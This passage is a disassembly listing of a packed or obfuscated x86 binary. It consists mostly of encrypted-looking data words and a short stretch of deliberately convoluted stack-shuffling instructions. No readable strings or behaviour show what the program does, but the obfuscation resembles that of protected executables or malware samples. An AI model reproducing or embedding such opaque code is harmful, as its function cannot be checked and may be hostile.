0B83D86FBh, 0F232F27Bh dd 0ADDB7E5Ch, 2EC282BAh, 11149F83h, 0F5820360h, 8979C3B4h dd 2310A1BFh, 3D80EF8Bh, 129A2F0Ch, 3BC5752Ah, 0B00000Ah dd 99F5976Ah, 26721E1Bh, 0AAE68281h, 3955370Ah, 0B7DCBCBDh dd 475AE6DEh, 0CAD76925h, 7077F2AEh, 0F8FF8410h, 0DAB4CB98h dd 7C72D19Eh, 85F3942Ah, 4A4DE8FEh, 47ECBCCDh, 0B83BD540h dd 6615BDh, 882BF1AEh, 0D44FEF8Dh, 0EDDE10Eh, 14Dh, 41EC8095h dd 0E070314Eh, 74354245h, 0B2B132DEh, 90CB7C5h, 9238036Bh dd 52D06C03h, 0AA4A2657h, 0D28056D7h, 7C6C452Bh, 3383F0BFh dd 7C6C4471h, 97B16ED8h, 0DBA9006Ch, 3BB6h, 36881F00h dd 7C6C4C72h, 0E99317Eh, 49DC7EB9h, 6C406475h, 86F7B07Ch dd 6C3F6C28h, 1C1B987Ch, 92971D6Fh, 16EB97E5h, 0FD7D1899h dd 0AA24C90Eh, 328D3F5h, 0B7F2DBA9h, 29000000h, 0D395E980h dd 0E1762432h, 68E9E895h, 0D6AD56C2h, 0E1BAD3Fh, 0FD790BA8h dd 32D494EAh, 73E07624h, 71773D41h, 75F2734Ah, 49DF7104h dd 0DDAAA74Fh, 1BF75FDCh, 9CEC9D98h, 0E6701017h, 7624AAA7h dd 0B22520C3h, 0F434C0F9h, 1FB78135h, 4A102B83h, 0EB9283DBh dd 0B9C67C6Eh, 1316922Eh, 98992571h, 56001A25h, 0C3732C0Ch dd 906h, 0C0A0BF46h, 492B2ED4h, 0BDDFCA5Dh, 204041E1h dd 0ABC9C874h, 97132B88h, 49AF692h, 822F7B19h, 32B1ED8Fh dd 0E7FE5537h, 72D2D197h, 0DE491F7Ch, 6DF8F985h, 0E13BDDD6h dd 0C6380679h, 2492D088h, 3B931C76h, 7570F3AFh, 0FE858C17h dd 54D06CFBh, 0EF472455h, 401EB5C0h, 76243308h, 9703ABD4h dd 0FD8BE9ECh, 2B0h, 0DC7EB95Ah, 941EB249h, 94E5E082h dd 92C09617h, 7C6C59B7h, 0DB489003h, 9DEAEF8Bh, 0A5126B1Ch dd 2EC255D2h, 0B1FE8F82h, 88CC9A19h, 0C37C6D25h, 0EB85A817h dd 7F3C4D48h, 0FD5CC7D7h, 3DCFDBA9h, 0AECFBCB5h, 247C408h dd 475F0000h, 76243304h, 0F2652710h, 72C9BA9Ch, 7A54EB7Ch dd 7C72C93Eh, 3545ED8Ah, 6A44DB4Ah, 7C72C92Eh, 0C36FFDBAh dd 5AF0B1CEh, 878221BBh, 63257910h, 717C72C8h, 9400A036h dd 99491CEFh, 0EA0BE76Fh, 4CCD4A49h, 0A466513Fh, 0D4BC5D31h dd 6F0882BAh, 9A1D25D0h, 0FE6C2312h, 7F6h, 0B0D0AF56h dd 395B5EE4h, 0ADCFDA6Dh, 107071F1h, 9BF9F884h, 87231B78h dd 14AAE682h, 0B23F6B09h, 22C1DDBFh, 0F78E4527h, 72D3E1A7h dd 0CE59EF7Ch, 6CFBFE85h, 22534ED0h, 0B2CEED45h, 37453231h dd 0A9FB888Dh, 267C0D0Ch, 0C85E9754h, 40E309F6h, 6C972745h dd 0B6DDE10Eh, 18Dh, 46EC80EDh, 0A7D4D350h, 21F159C6h dd 9B108782h, 0DC8BFD6Dh, 2946ECCBh, 0BFDDD85Bh, 8935E4DFh dd 59C0B88h, 6694738Ch, 90B6C3DEh, 0DCFA50C8h, 7C6D1431h dd 3F2ABC50h, 99C1B97h, 85F2CF77h, 56214EE4h, 0FA9EFBFh dd 48377C6Dh, 0FB0F4E2h, 2F9B7C6Dh, 9313AD70h, 7FA4389Eh dd 0A5DBA9CFh, 4Ch, 0DC7EB9FEh, 1A0CB749h, 8AEB989Fh, 9B2C7C0Dh dd 31BEFF8Ch, 17A2FC99h, 0C37C6C40h, 2B9D0D50h, 1B98E348h dd 0E798DC6Ah, 20CC7C6Ch, 0E8216737h, 0C0AF7C6Ch, 0DC663243h dd 0A72BA8D9h, 1CCE23F8h, 0BB8279AFh, 0C158DBA9h, 0C3000000h dd 8AFBFE85h, 0E7F72FEh, 495FE577h, 882EAFAAh dd 0F57F6B08h, 760273F0h, 0CD5FF6CDh, 55522326h, 4A73EDFDh dd 7E762485h, 0D296E8F5h, 1E762484h, 6E630391h, 102B83E1h dd 0A844DB4Ah, 5431B0Ch, 0D3762485h, 0D22257D4h, 9FA4E6CAh dd 55C08E24h, 817C6FCCh, 41D86FE6h, 6E8C2B6Dh, 5BEDB97Ch dd 0A969C14Eh, 356C0C0Dh, 69061B9Bh, 4AF6A208h, 44C5DC64h dd 565D32F9h, 1B8B040Ch, 66Ah, 24445BDAh, 0ADCFCA68h, 11736EF1h dd 84E4FD85h, 0F6D6C08h, 0BB78FE4h, 0A83E6A36h, 26C3DFBDh dd 0AE554123h, 831AC9ABh, 72D56D2Bh, 22E57B7Ch, 6DF8F985h dd 245550D3h, 0C7D3EF47h, 0B85B393Ch, 8AFBFE85h, 0E77E75FEh dd 333A7E50h, 0EA867624h, 7D3A4B4Eh, 0BC4A56FCh, 20h, 0FBFE851Bh dd 7E75FE8Ah, 14AB2A01h, 2432FEBAh, 5ADCA76h, 0A74C944Bh dd 2936C0A0h, 0AD000000h, 8AFBFE85h, 0C0C161FBh, 33296C6Ah dd 0D34A7624h, 3326623Ch, 0F5B27624h, 334C0C62h, 1F987624h dd 924605B7h, 0ED761211h, 4DE8FE85h, 5ADBC659h, 32B5F3CBh dd 64037624h, 0FDC696E7h, 0E2F6C85Fh, 0E7C72C9h, 0C85FF661h dd 315503D3h, 0C191424Fh, 7C728887h, 889ADEB0h, 59267C72h dd 0D0D55F2Bh, 941FFB53h, 1CA7F391h, 1B246819h, 0BD4FE671h dd 0E47AC736h, 3EC6AEBEh, 104826B1h, 0DC7C7304h, 0AC5D7BD3h dd 3882C19Ah, 0AF54E87Fh, 42D9C8A8h, 247A2C6Ch, 0DFDA5876h dd 0BEFAD4ADh, 0A762479h, 0CA46EC6Dh, 26623C29h, 0B276247Ah dd 700774F5h, 79C385D9h, 96117624h, 89536CC0h, 0AAA5401Eh dd 36717C6Ch, 583F6AB7h, 33A35C0Ch, 51Eh, 0E888872Eh, 513336BCh dd 0C5A7A245h, 482829C9h, 0B3D1D05Ch, 7FFBC390h, 0FC821E7Ah dd 6A1783E1h, 1A99F597h, 0CFE67D1Fh, 72D6B9FFh, 0E6A1077Ch dd 6CFBFE85h, 0BDB83BD5h, 0B9FFAFCCh, 7762432h, 0DFB6D278h dd 33327648h, 0F1BE7624h, 3F3AB959h, 0B2B1324Eh, 0EFEA8923h dd 18522847h, 0FFFA79A3h, 116D049Dh, 76243257h, 18B41A65h dd 0DDE10EE3h, 0C385D970h, 1176243Eh, 731CC096h, 75000000h dd 0D8F89C3Ch, 70C6FD06h, 0CA7EB957h, 2432B4F4h, 405FE076h dd 5FF67730h, 5E2F3ACDh, 0B0E8C651h, 3C762432h, 643ADB73h dd 7C6C81A0h, 40DC4B34h, 0CFC6A2A5h, 0A50C8FDAh, 512D4DA9h dd 7C6C7D17h, 0F55DDAA5h, 6C7C9FE7h, 392AC97Ch, 6C7D2365h dd 49F6B17Ch, 10017A2Bh, 0FE6624D0h, 0A540D066h, 3725D5A2h dd 50000004h, 433037BCh, 34B5B431h, 0FE85059Eh, 0C84948E8h dd 5C4AE9BBh, 2120C0D6h, 55D2D3A0h, 0F7C75E37h, 762432B1h dd 2DA703Fh, 68049339h, 0AE67CFCAh, 6C452DD0h, 20AB97Ch dd 0B5233627h, 875724A5h, 7C6D15BDh, 4365DA94h, 0DBA9F1D8h dd 2502h, 7EB99900h, 647549DCh, 0B07C6C40h, 5DEF86F7h dd 5D7BD3D6h, 7C6C4017h, 0EDDB8032h, 0DBA90336h, 0D8ECh dd 0B803700h, 0E0A8D38Ch, 0CE4AE05Ch, 1981DA25h, 0EDAEDBB7h dd 8CFDE87Fh, 65F76EEFh, 4473DBDEh, 1E898834h, 4AE0E782h dd 0D1D45F2Dh, 5453D0A0h, 14542AC1h, 4576251Ch, 251C2F69h dd 86F2BD76h, 0A73151F9h, 76251FD6h, 0C16171F2h, 75F2B3C0h dd 0FDF87B17h, 0C62F98Ch, 76251D4Ch, 1C67217Dh, 0A757625h dd 0C599317Eh, 0E9C550FAh, 7C6D4CA4h, 0EDE88B25h, 3BB71F9Ch dd 0B157E97Ch, 70C6A7D4h, 9D3F7850h, 9CBBB40Ah, 600F82B7h dd 0DADF5BF5h, 4346E2BEh, 9E551BFCh, 0F4621D12h, 322h dd 0EC8C8322h, 553732B0h, 0D9BBA639h, 4C2C25CDh, 0B7D5D450h dd 73FFC7ACh, 0E086127Eh, 6E0B87E5h, 169D096Bh, 0CBE27113h dd 72D8B5F3h, 0EABD037Ch, 98F8F985h, 60670Ch, 0DC7EB963h dd 40647549h, 0BB557C6Ch, 0E4943A3Fh, 0EF700C9Bh, 8D5D5AF0h dd 7C6C3FC7h, 0F7C75FDh, 8EFFEA7Dh, 0C47F72F2h, 1FF009F6h dd 53C8FCA3h, 0C0DBA903h, 2981802Ch, 10025h, 0FE857E00h dd 72FE8AFBh, 0EDB00E7Fh, 0D9762436h, 3375495Ah, 81762436h dd 8F1B79E6h, 3C90E1E4h, 0F0CE5903h, 7C6C65ADh, 0F6E4801Ch dd 86F7744Bh, 0B22151F9h, 87B5CA7Fh, 0B8D85954h, 0CFD1E7D0h dd 6F620206h, 0F8E4911Eh, 0DC4BC881h, 0BA3BE40h, 0DC59F38Ah dd 0AAA74FDDh, 5876DCDDh, 82B6EA88h, 0E1E48F21h, 607F0090h dd 0BD159213h, 4CE3723Dh, 0E99FD9B5h, 0B62D7626h, 7C42AA36h dd 67CF4CA2h, 6E0A0FABh, 0C9A5B632h, 7627278Fh, 6AD5525Dh dd 129DC1A3h, 136C1A95h, 33000002h, 0C1DDBFB2h, 4E5A2623h dd 0D2CEAAB9h, 613D5F52h, 9FA4C4C5h, 6F620E36h, 120F910Dh dd 989F1A76h, 7ACF8h, 82DCF360h, 7C72D9C6h, 85DB4C12h dd 72010CF9h, 8F334737h, 2497793Fh, 0BB384776h, 7D14AB3Ah dd 24976721h, 5C0A7576h, 7624981Ch, 5B67CFA8h, 9955A44Fh dd 0FA80DFF9h, 0A4D5D053h, 0BBD946C7h, 0FBFE8518h, 0CC86FB8Ah dd 0D647E86Bh, 0C2613199h, 0EA3EA33h, 0B13E4EAEh, 393CC7D3h dd 913B0448h, 55DD6F06h, 45D8F65Ch, 817C6CA4h, 7EFB89E6h dd 0F67E0A7Bh, 410D8AFBh, 0B022459Ah, 878221CBh, 0F3AA95E5h dd 66077471h, 40D76EF9h, 6C942A6Eh, 61C9B67Ch, 0B4998673h dd 8423782h, 30F62CFBh, 0BAE97E02h, 77F4ECF4h, 364742E5h dd 0C5D1E149h, 0D6A7243Dh, 6B0ECABFh, 0E2B3E22Ah, 2027CC4Ch dd 0A4A54153h, 3839C5D7h, 0E55A104Bh, 1724643Ah, 0F7B07625h dd 10CF8376h, 0B1AC33CDh, 0B30BA3C0h, 7B53C288h, 7C6D1C8Eh dd 0E3BFDDDAh, 64344540h, 0DBA9C6D9h, 0AAB94E58h, 2E5FDCDDh dd 0EE3FCAB5h, 0DB495E77h, 0AAA94A44h, 33BF5C2Dh, 62D0B74Ch dd 0C9CC77BDh, 2027C25Eh, 30670457h, 2F87E845h, 5A003B93h dd 0B5AF3CBh, 0C1AE82B5h, 4443E0B0h, 7D229037h, 7BEAB08Bh dd 32435EE1h, 6638DD75h, 7C6CF3C7h, 0B4046403h, 0BF56C18Bh dd 6CE2A9EFh, 282DD77Ch, 412E5A5Bh, 4E522CE9h, 9A82BB7Ah dd 82196C1Dh, 2A596C2Ch, 973F7876h, 1F7D78FBh, 0D99FEF86h dd 0E7762A59h, 0DD663298h, 30BD4FC6h, 0FE8F8222h, 1D9A30B1h dd 0AB4118Ah, 526492C0h, 90263DC6h, 46D59FC2h, 0AEE3F2C9h dd 15A46C90h, 0BE45D72Fh, 5ADCABBh, 0A74C944Bh, 3FD1C0A0h dd 0AFCCBDA8h, 0EDE88B07h, 6D640C9Ch, 0E1E08C1Ch, 61600090h dd 65019310h, 3D8F1764h, 1D189A4Eh, 8279F99Ch, 0B2DED55Eh dd 29465DE6h, 0DB9h, 0D350EC00h, 572421C7h, 6601A956h dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 68B9BFCCh dd 3BCh, 51241489h, 0C181E189h, 4, 4E981h, 0C870000h, 1C895C24h dd 61166824h, 4890000h, 0DBBE5624h, 89064E97h, 24348BF3h dd 5404C483h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 8B9240Ch dd 1000000h, 591989C1h, 582434FFh, 4C481h, 1C8B0000h, 0E3895324h dd 4C381h, 0C3830000h, 241C8704h, 0D413E95Ch, 0D6B0FFF9h dd 4EA9EEB8h, 0FFC50306h, 6C9142E0h, 4A78C711h, 8387A96Ch dd 0E924B002h, 77004961h, 918AFE76h, 16542753h, 709DD328h dd 0D582504Bh, 25F5DC20h, 0BF4C015Ah, 0E8E27E71h, 862AD94Fh dd 0C6E0C407h, 0FCD4D106h, 442B2752h, 0ACC28C4Bh, 5E144927h dd 646327Fh, 7C911E25h, 9772A137h, 492EE44h, 9D86C535h dd 59543C77h, 9E0B6602h, 7BAC0702h, 0A7D83661h, 8D415A35h dd 25E2E553h, 0CE83Fh, 6F910000h, 0FEDA4090h, 0AFE35BB2h dd 8B668B4Ah, 0C7815FC8h, 60B9h, 74AF4FBBh, 49EB8168h dd 81687497h, 0E7CF5DD6h, 0E9178B50h, 8, 1276D73Fh, 0A6FBFD41h dd 0E71FC281h, 0C68127EDh, 6DD2D28Dh, 335F281h, 0BF0F0E66h dd 2BC281C7h, 8A166B93h, 0BF0F52CAh, 0F078FC1h, 0EF83C3B7h dd 0B70F5201h, 4F4F5EF7h, 81CE8B4Fh, 1EBh, 1C850F00h, 0F000000h dd 185h, 24E9F500h, 45000000h, 382275A5h, 4962CCBh, 0D33FCF03h dd 0E970FEA8h, 0FFFFFF91h, 1B086468h, 57171CB8h, 0D452E3D0h dd 0E84B18DEh, 0Eh, 69EA73F4h, 0E21CF5E4h, 0F1E7164Fh dd 8B66E874h, 81665BCFh, 81D722EFh, 6299C3h, 168D0F00h dd 50000000h, 0EE8h, 44870600h, 0CE52AC5h, 0B5BF8375h dd 5994E19Dh, 8BF62B59h, 0E4803314h, 0C4C2815Bh, 6613A7DBh dd 8EF4C781h, 0E5E0EA81h, 81F87C77h, 0A8558CC2h, 0CE8B6655h dd 0B8331489h, 24C48C73h, 334FC981h, 0EE8329F2h, 4860F04h dd 51000000h, 8159C88Ah, 0FF9E14FEh, 22850FFFh, 0E9000000h dd 0Bh, 22893575h, 8A7F644h, 0E959A864h, 19h, 89C0D317h dd 0CE1A36C7h, 453465DDh, 0E9C68B68h, 0FFFFFF8Fh, 6DCC12E3h dd 8EB80h, 0FD000000h, 0E90663B0h, 4A9h, 4EAD8F68h, 0D21BE906h dd 568FFF9h, 0E9064EAEh, 0FFF9D211h, 4EAF4068h, 0D207E906h dd 49E8FFF9h, 0F47E2A76h, 600793F1h, 0EB8B0765h, 921E8A16h dd 81D6FD9Fh, 5C3C3DB9h, 0C1A3BE40h, 4B2928D5h, 0B3D1D45Fh dd 77318D20h, 457C72DEh, 0F98520E3h, 65FC8BF8h, 24334F09h dd 0FCF57D76h, 1592EE8Fh, 5356DDBDh, 0BC5E5931h, 0EE917029h dd 3BF8A9A7h, 0A5AC0293h, 0A47C6CDAh, 0C9F7B10Dh, 0BAC57C6Ch dd 6A1B6414h, 6CC998DCh, 5807B37Ch, 0A999B76Ch, 2F86DDBh dd 0AD440000h, 6CCD97D1h, 2F6F227Ch, 81543F85h, 851EB4F3h dd 655E76D9h, 0B73413B4h, 0ECFB8C20h, 62670D9Fh, 0BF179415h dd 0D6A83FD6h, 76243292h, 4C3C33BEh, 9EDAB423h, 2A762432h dd 0A6F7E54Dh, 0C27C6C42h, 0C39B32A5h, 7C6C4185h, 39C45453h dd 0E6709026h, 79D1A817h, 7F16B48Fh, 99AA3A2Fh, 4ED9A677h dd 0A4E20B7h, 0D673899Ah, 99BFF9A9h, 620D7389h, 44D8AFCCh dd 0BB13BBBEh, 0B44BDA80h, 89999EDAh, 0DF4D2A73h, 21F45A57h dd 0D1D2C14Dh, 58EE8279h, 0AAD5E54Dh, 702A13Bh, 8F8A2965h dd 732D5F30h, 38B66917h, 2CAh, 0F4946B0Ah, 7D1F1A98h, 0E1839E21h dd 54340DB5h, 0DFBDBC38h, 5BE7DFB4h, 0D86E3A46h, 76F3AFCDh dd 0FE851173h, 0B3CA99FBh, 72DF9DDBh, 0F2952B7Ch, 49DC7EB9h dd 72DF7175h, 2DB8C77Ch, 0E9AFFF96h, 0F77C72DEh, 0CA762288h dd 65FC95F7h, 72DF4F09h, 63019D7Ch, 0EB680966h, 452BD743h dd 0A9D6A7A2h, 0C88B5B28h, 7C72DEh, 7CD96463h, 4A18EF39h dd 25425D5h, 0E1800000h, 6C1682EEh, 89F0B69h, 83237F1Dh dd 0AB6E28Eh, 694E5537h, 0B4D4D551h, 395B46D8h, 0A3C1C06Dh dd 2B494CF7h, 0F4925B8h, 0DD7C72E1h, 7EB9980Bh, 717549DCh dd 0C77C72DFh, 397BCBB8h, 107C72DFh, 0D088E67Dh, 0FC7C72DEh dd 65027376h, 88C26817h, 0BE0EF5D3h, 7BD4DBAFh, 4F000001h dd 5F5BEC80h, 0C2A3D0D5h, 0DF773445h, 0C4B5B033h, 9D080FB4h dd 53FB25E4h, 0D6E716h, 7B2F0860h, 24E36523h, 0B7347376h dd 0F69F4E20h, 12AE7C6Ch, 0BE3A9097h, 0BCF580F1h, 4F718543h dd 9B3991C4h, 7C6D06D9h, 2F19C670h, 0DBA9C6F4h, 2F2Eh dd 7EB97500h, 0BB749DCh, 92387936h, 401EAB03h, 0BBCA7C6Ch dd 6C3FA5E3h, 0F774337Ch, 3F6C2886h, 6BE77C6Ch, 36B90B4h dd 97B1DBA9h, 0EA000000h, 2D0FFE85h, 35F14B89h, 94CF89E5h dd 921D7624h, 90E79415h, 0C496B01Bh, 74DAB20Ah, 681918A4h dd 0EF9C9B18h, 6000169Dh, 7376F361h, 6DFF96F2h, 0F1BECFDAh dd 1E177B59h, 32B17625h, 3A055537h, 0BCA90590h, 287C6FB6h dd 0B844D84Fh, 23CFDBB9h, 499C9F2Eh, 0E59A0C56h, 11975h dd 253CC500h, 0ACA94B47h, 504FD0CCh, 0C5DC6430h, 4A4FEBA7h dd 94AC052Eh, 1F8BE9E8h, 0A0FC9C89h, 2A660205h, 75EE8A89h dd 0E24C0C62h, 0C6987C72h, 0F8F9855Dh, 60670C98h, 0FE856300h dd 75FE8AFBh, 0FBACBD8Ah, 0EA6B8C59h, 0CECF067Bh, 3121AFE5h dd 96A10999h, 0C70D61F4h, 1D7C6CF7h, 0CD690392h, 0ECC259CCh dd 7C6C6AACh, 0CB3B8B38h, 0A6952679h, 0A0F19139h, 0EEAFCAEBh dd 0FE54B594h, 6D1494D0h, 3723C07Ch, 0BBF8898Ch, 0B0475E3Ah dd 6D149ADEh, 0F159267Ch, 0F7848521h, 7D47h, 7EB9DC00h dd 0DCB249DCh, 7624329Ch, 2EE74F28h, 49AEE297h, 0A8B518CAh dd 0C2565402h, 70077C73h, 72815A1Eh, 0B119667Ch, 5DEF6601h dd 7976DCD5h, 1A8D882Bh, 50E6FD86h, 0D8DF6430h, 83111BABh dd 0BC6E7C9Fh, 9B9E25CFh, 1006ADF9h, 90E09190h, 562130Eh dd 1A760784h, 6FF6879Ah, 4FF43CE3h, 8148005Eh, 0EB947C87h dd 11920E6Ah, 80EEAA04h, 0BDFA7C87h, 3DF4F3Ch, 34000000h dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 52B9BFCCh dd 0C281E289h, 4, 4BF57h, 0FA290000h, 2414875Fh, 4EC835Ch db 89h, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 64EAC6Dh mov ecx, [esp] add esp, 4 push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ecx pop dword ptr [ebp+8] mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_541331 ; --------------------------------------------------------------------------- dw 0C187h dd 20796929h, 0E8136D71h, 0FDF7C896h, 0B07EB881h, 0C503064Eh dd 3F7CE0FFh, 85A85E9Eh, 10216472h, 7A8644F3h, 666D136Fh dd 2624515h, 0F8E721CAh, 0D35D57A4h, 4373524Ch, 4FFD530Ah dd 35251B77h, 38B1431h, 0E8124CD7h, 6B4442BCh, 63E66DAFh dd 0E6CD181Dh, 0E76771B1h, 8D8D3BACh, 64EB1C8h, 0D15958Bh dd 0EE90648h, 7F000000h, 0B5B3E6D2h, 0D2DF96A9h, 3B7A5886h dd 58D89DFh, 0FC064814h, 302585C7h, 715C0648h, 0BE660000h dd 0E38161E0h, 39E0B7C7h, 2AD985C7h, 648h, 5E90000h, 4A000000h dd 0CDAB1356h, 0E25B5FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 95FF71C3h, 6480E71h dd 1C35BD89h, 6A0648h, 92D95FFh, 0C08B0648h, 0D7792BEBh dd 302C6DC0h, 0DDB38E20h, 325E0C38h, 0DD7FCA4Dh, 45A8C02Ch dd 0BE553DC4h, 15DAB13Ch, 4B70AC4Ch, 0CB8BBC17h, 735290F1h dd 9E808h, 6E670000h, 0EF2AC73Dh, 3161AA80h, 48128995h dd 0BF665E06h, 0C681FE14h, 7378h, 561958Bh, 0B0B90648h dd 0E800001Ch, 0Fh, 97A40C7Eh, 64E0AC5Ch, 0AD1E8600h, 8BFB0CC3h dd 481699BDh, 36FF5F06h, 0AF1BD8Bh, 0E9580648h, 7, 0E356821h dd 819A3E78h, 0AB2594C0h, 48BA666Eh, 0A5E8817Ah, 81161AD0h dd 8F262EE8h, 6606897Ch, 836090BFh, 14E904EEh, 91000000h dd 55937217h, 26F904B4h, 21208993h, 3F99E28Eh, 49832E3Dh dd 19850Fh, 80560000h, 0E95B4BDBh, 1Eh, 82A580B0h, 0E3A2B923h dd 379C97E4h, 8B10848Bh, 0FF8CE9F9h, 0C9A1FFFFh, 0B302634Eh dd 10E86111h, 0C4000000h, 82A1EA9Bh, 0C1EA3B47h, 7D32C36h dd 0F46D35Dh, 68Ah, 0D9953100h, 5A064811h, 2011B52Bh, 0C2810648h dd 5DBFh, 1829B58Bh, 33B80648h, 0E9000017h, 6, 9D71B0E1h dd 32FF5F05h, 11E9h, 0F3905800h, 2DC2C694h, 5CCE6B4Dh dd 0ED6F24F5h, 80598FA2h, 0F18116DFh, 3C2B9669h, 7E8h dd 0DFC27800h, 0FCC8E56Eh, 10E9h, 0F7ADCA00h, 3B7C4F48h dd 4965D0C9h, 0DA1FD499h, 0F1815FB3h, 0AE5588Ch, 12899D29h dd 0F1810648h, 1FF4164Bh, 1800Fh, 89F90000h, 0FE90Ah, 0A6D40000h dd 71D8FAB6h, 5140ED35h, 0E0B5F879h, 4EA8397h, 0EE02E381h dd 0F482054h, 1D85h, 0ADB58900h, 0E906481Ch, 2Ah, 76E6EFE0h dd 0CFC1993h, 9392ABC2h, 0C1AFA075h, 0B70FBB81h, 0FF58E9FEh dd 196EFFFFh, 95B64BC1h, 0CC2E1CE1h, 0F9591FA9h, 0C08B18E1h dd 1299BD83h, 75000648h, 35BD8309h, 6480Dh, 53501974h dd 21B8C08Bh, 89000004h, 4829B985h, 649D8D06h, 0FF064AA4h dd 83585BD3h, 480D35BDh, 17740006h, 21B85350h, 89000004h dd 4829B985h, 539D8D06h, 0FF064AA1h, 8B585BD3h, 459D8BC0h dd 0C6064813h, 480FF985h, 52685606h, 0FF9CA8B8h, 4829A9B5h dd 60858D06h, 0FF064B7Fh, 68046AD0h, 1000h, 105DB5FFh dd 6A0648h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h, 4872868Dh dd 8BE1FF06h, 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h dd 1A31BD83h, 0F000648h, 0E84h, 319D8B00h, 8B06481Ah, 48063185h dd 51038906h, 0CD858D52h, 0FF064842h, 8BFA8BD0h, 8BD18BF1h dd 0C6A4F3C8h, 480FF985h, 39685606h, 0FFD41F6Dh, 4829A9B5h dd 60858D06h, 0FF064B7Fh, 800068D0h, 6A0000h, 8BD0FF52h dd 99BD83C0h, 64812h, 0BD830975h, 6480D35h, 50197400h dd 0B8C08B53h, 421h, 2FF98589h, 9D8D0648h, 64AA4CBh, 585BD3FFh dd 0D35BD83h, 74000648h, 0B8535017h, 421h, 2FF98589h, 9D8D0648h dd 64AA16Ch, 585BD3FFh, 9D8DC08Bh, 6481A31h, 0C00B038Bh dd 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h, 0AE80000h, 0A000000h dd 1CA90BE1h, 0F4D7CD56h, 830F5731h, 0 a_S db '^_`è',0Dh,0 align 4 dd 135AAC4Eh, 9B96CD2Fh, 0CB2411ACh, 0BE9D8h, 8F3D0000h dd 71688D30h, 86BB725h, 81615948h, 6814C7h, 0B70F6000h dd 0E08166C0h, 686132DAh, 19CCh, 692EB966h, 0DE95Bh, 9CA20000h dd 7B7C0F50h, 0AC07ACD1h, 0FF024BDDh, 58595337h, 5E9h dd 80396000h, 0E8819D94h, 3CB311F9h, 185E881h, 8B662850h dd 0E4C081CBh, 6669454Ch, 789D68Bh, 48F0Fh, 0BA660000h dd 0EF817799h, 8764B9Dh, 25D28052h, 99C7815Ah, 0E808764Bh dd 9, 3ADBCCE0h, 0B95100C5h, 0EB835E90h, 1B850F01h, 0BE000000h dd 1AC6DCA7h, 1EE9h, 88B65400h, 0CDB06DFCh, 0AA270F81h dd 0A0417F9Eh, 0D18B92BBh, 0FFFF82E9h, 0E1B23CFFh, 55152623h dd 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 8584FD49h, 0ABFAFD20h dd 0BC3BFD20h, 3599FD20h, 0F08BFD20h, 1361FD20h, 624EFD20h dd 0DA2FFD20h, 861AFD20h, 0AB41FD20h, 0BC1EFD20h, 3673FD20h dd 0F1DCFD20h, 13BDFD20h, 629EFD20h, 0D85AFD20h, 85AEFD20h dd 259DFD20h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh dd 2775FD7Ah, 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh dd 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 3C76FD7Ah, 0D475A490h dd 0CB75A490h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h dd 40F0701Ah, 0A673B3C0h, 0D9C3A8FFh, 0FFF0707Ch, 6C73B3C0h dd 0BCC3E8FFh, 0BF0707Ch, 3573B3C0h, 10C3ACFFh, 0FDF0707Ch dd 1E73B3C3h, 85C3E4FFh, 74F0707Ch, 7B73B3C3h, 37C3E0FFh dd 93F0707Ch, 0D773B3C2h, 61C3DCFFh, 0D6F0707Ch, 4273B3C2h dd 0ABC3D8FFh, 0A5F0707Ch, 0F073B3C2h, 0F2C3D4FFh, 0ECF0707Ch dd 0A673B3C2h, 0D9C3C8FFh, 0B5F0707Ch, 6C73B3C2h, 0BCC3D0FFh dd 0E4F0707Ch, 3573B3C2h, 10C3CCFFh, 9DF0707Ch, 1E73B3C2h dd 85C3C8FFh, 9F0707Ch, 7B73B3C2h, 37C3B8FFh, 0B7F0707Ch dd 0D773B3C3h, 61C3B4FFh, 0B9F0707Ch, 4273B3C3h, 0ABC3B0FFh dd 85F0707Ch, 0F073B3C3h, 0F2C3C4FFh, 0F0F0707Ch, 0A673B3C3h dd 0D9C3C0FFh, 82F0707Ch, 6C73B3C0h, 0BCC3BCFFh, 50F0767Ch dd 3573B56Ah, 10C373FFh, 0CEF0767Ch, 1E73B576h, 85C36FFFh dd 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 0BD717FBh, 0D525FB34h dd 0ADFDF53Fh, 913B4BF7h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h dd 7975FD7Ah, 7F987C27h, 0A073B3CDh, 61C3E9FFh, 83C87D7Ch dd 0CF73B3CCh, 0E4C5B409h, 0F9B54B75h, 863589BAh, 0F2C36FEFh dd 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD3B4BE8h, 536048F7h dd 0C6F8FB34h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah dd 913B4BE8h, 7D6048F7h, 0D1F8FB34h, 228A50FCh, 87BC1F23h dd 0F2C3E9F7h, 52DA07Ch, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah dd 708A5779h, 0F43B4BF4h, 79D3ED1h, 0DA75FD78h, 54CD9BC2h dd 0D0DE9B59h, 0D9C373EFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah dd 866E8872h, 0F2C373EFh, 54C54D7Ch, 0BA8AAD79h, 913B4BF4h dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h dd 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh dd 